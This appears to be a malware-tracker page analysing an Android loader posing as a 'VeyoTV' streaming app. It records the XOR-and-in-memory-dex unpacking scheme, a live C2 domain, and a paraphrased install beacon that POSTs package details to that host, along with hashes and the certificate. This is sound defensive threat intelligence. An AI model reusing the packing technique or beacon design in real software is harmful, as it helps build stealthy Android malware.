3d3a0d4b3664dbc810d0c7b1…

sample

Tracked by C2 Tracker · indicators & metadata only, the APK itself is never published

Analyst notes

VeyoTV Loader (provisional). VeyoTV Loader (provisional) is an Android loader/beacon distributed as a fake TV-streaming app (“VeyoTV”, package org.nova.work.link / com.work.mega.flash). The real payload is native-packed.

Unpacking (static)

Sa (Application) loads libsa.so and calls nativeInit. The native code XOR-decrypts asset jikicfmxqdj with the 32-byte Java key Sa.AK (repeating), yielding a [count][len][dex] blob loaded via InMemoryDexClassLoader. Fully recoverable statically (key is in Java; XOR confirmed in libsa).

C2 / source-to-sink (from the unpacked dex)

Real C2: Cf.S1 = https://js.jiasuomg.xyz. MainActivity.p0() (from onCreate) posts an install beacon via HttpURLConnection to POST https://js.jiasuomg.xyz/n/ir (Content-Type: application/json, body {"pkg","appName"}), gated by a reported SharedPreferences flag.
Decoy (NOT C2): Cf.W1 = https://veyo.tsnjh.vip/9fa2aa is only loaded into a WebView (Wv.loadUrl) as a fake VeyoTV landing page.

Actor link: signing cert a40da80a59d170ca... is shared with the WebSocket VNC Banker sample 679d70c0 - same actor. No banker/overlay behavior is present in this unpacked dex, so the label is corrected from Banker to Loader. Provisional. Indicators: https://js.jiasuomg.xyz:443.

Recovered configuration

actor_link

Signing cert a40da80a59d170ca... shared with WebSocket VNC Banker sample 679d70c0 (same actor/campaign).

decoy

Cf.W1='https://veyo.tsnjh.vip/9fa2aa' is a decoy only (loaded in a WebView via Wv.loadUrl as a fake 'VeyoTV' landing page); NOT a C2, so not listed as an indicator.

endpoint

POST https://js.jiasuomg.xyz/n/ir (Content-Type: application/json, body {"pkg","appName"})

source_to_sink

Cf.S1='https://js.jiasuomg.xyz'; MainActivity.p0() (called from onCreate) launches coroutine b2.l which does new URL(S1+'/n/ir').openConnection() -> HttpURLConnection setRequestMethod(SC.d=POST), setRequestProperty('Content-Type','application/json'), setDoOutput(true), getOutputStream().write({"pkg":<packageName>,"appName":<label>}); on 2xx sets SharedPreferences 'reported'=true. Real HTTP POST install/registration beacon.

Identification

SHA-256: 3d3a0d4b3664dbc810d0c7b1be1ec13a8fa2cc6132533e72ef60fea420156a88
MD5: c6bc0aae8fd2d99c88ebc5f4591c4412

Observed

Families: VeyoTV Loader (provisional)
First seen: 2026-10-12

C2 configuration (1)

Every indicator extracted from this sample. One row per C2 - each links to its indicator page with Whois, DNS and certificate pivots.

Indicator	Type	Port	Scheme	Family	First seen
js.jiasuomg.xyz	domain	443	https	VeyoTV Loader (provisional)	2026-10-12

Signing certificate

Subject CN: Android
Issuer CN: -
Fingerprint: a40da80a59d170caa950cf15c18c454d47a39b26989d8b640ecd745ba71bf5dc

Relationships

Sample → C2 indicators, signing certificate (with every other sample signed by it) and family. Click a node for details, double-click to open its page.

Click a node to inspect it.

About VeyoTV Loader (provisional)

**VeyoTV Loader (provisional)** is an Android loader/beacon distributed as a fake TV-streaming app ("VeyoTV", package `org.nova.work.link` / `com.work.mega.flash`). The real payload is native-packed. **Unpacking (static)** - `Sa` (Application) loads `libsa.so` and calls `nativeInit`. The native code XOR-decrypts asset `jikicfmxqdj` with the 32-byte Java key `Sa.AK` (repeating), yielding a `[count][len][dex]` blob loaded via `InMemoryDexClassLoader`. Fully recoverable statically (key is in Java; XOR confirmed in `libsa`). **C2 / source-to-sink (from the unpacked dex)** - Real C2: `Cf.S1 = https://js.jiasuomg.xyz`. `MainActivity.p0()` (from `onCreate`) posts an install beacon via `HttpURLConnection` to `POST https://js.jiasuomg.xyz/n/ir` (`Content-Type: application/json`, body `{"pkg","appName"}`), gated by a `reported` SharedPreferences flag. - Decoy (NOT C2): `Cf.W1 = https://veyo.tsnjh.vip/9fa2aa` is only loaded into a WebView (`Wv.loadUrl`) as a fake VeyoTV landing page. **Actor link**: signing cert `a40da80a59d170ca...` is shared with the WebSocket VNC Banker sample `679d70c0` - same actor. No banker/overlay behavior is present in this unpacked dex, so the label is corrected from Banker to Loader. Provisional.